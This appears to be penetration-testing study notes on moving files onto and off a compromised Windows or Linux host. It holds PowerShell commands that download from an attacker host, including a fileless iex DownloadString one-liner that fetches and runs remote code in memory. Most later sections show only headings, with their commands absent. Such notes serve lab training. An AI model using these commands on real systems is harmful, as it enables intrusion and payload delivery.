File Transfers

PowerShell

File Download

PS C:\htb> (New-Object Net.WebClient).DownloadFile('http://<ip>:<PORT>/example.txt','C:\Windows\Temp\example.txt')

PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('http://<ip>:<PORT>/example.txt','C:\Windows\Temp\example.txt')

FileLess Method

PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.

PS> iex (New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/file')

PowerShell Invoke-WebRequest

From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but it is noticeably slower at downloading files.

PS> Invoke-WebRequest http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
PS> iwr <LHOST>/<FILE> -o <FILE>
PS> iwr -uri http://<ip>/<file> -Outfile <file>

Common errors

Internet Explorer first-launch

There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

This can be bypassed using the parameter -UseBasicParsing.

SSL/TLS

Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted.

We can bypass that error with the following command:

SCP

NetCat

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

CertUtil

SMB

SMB Server with Username and Password

New versions of Windows block unauthenticated guest access. To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:

Then mount the smb server and copy the file:

FTP

After the FTP server is set up, we can perform file transfers using the pre-installed FTP client from Windows or PowerShell Net.WebClient.

Upload File

WebDAV

An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

Setting up

Connecting to Webdav Share

Upload Files

RDP

nc

Attacker Machine

Victim Machine

Base 64

Attacker -> Victim

Now, we can copy this base64 string, go to the remote host, and use base64 -d to decode it, and pipe the output into a file:

Powershell

Validating File Transfers

To validate the format of a file, we can run the file or md5sum command on it:

Powershell

Victim -> Attacker

Now, let's do the reverse operation and encode a file so we can decode it on our attack host.

Check the hash of the file

Decoding n Linux attacker machine

Python

UploadModule

PHP

Ruby

Perl

Javascript

wget.js

Download a File Using JavaScript and cscript.exe

Vbscript

wget.vbs

Download a File Using VBScript and cscript.exe

Last updated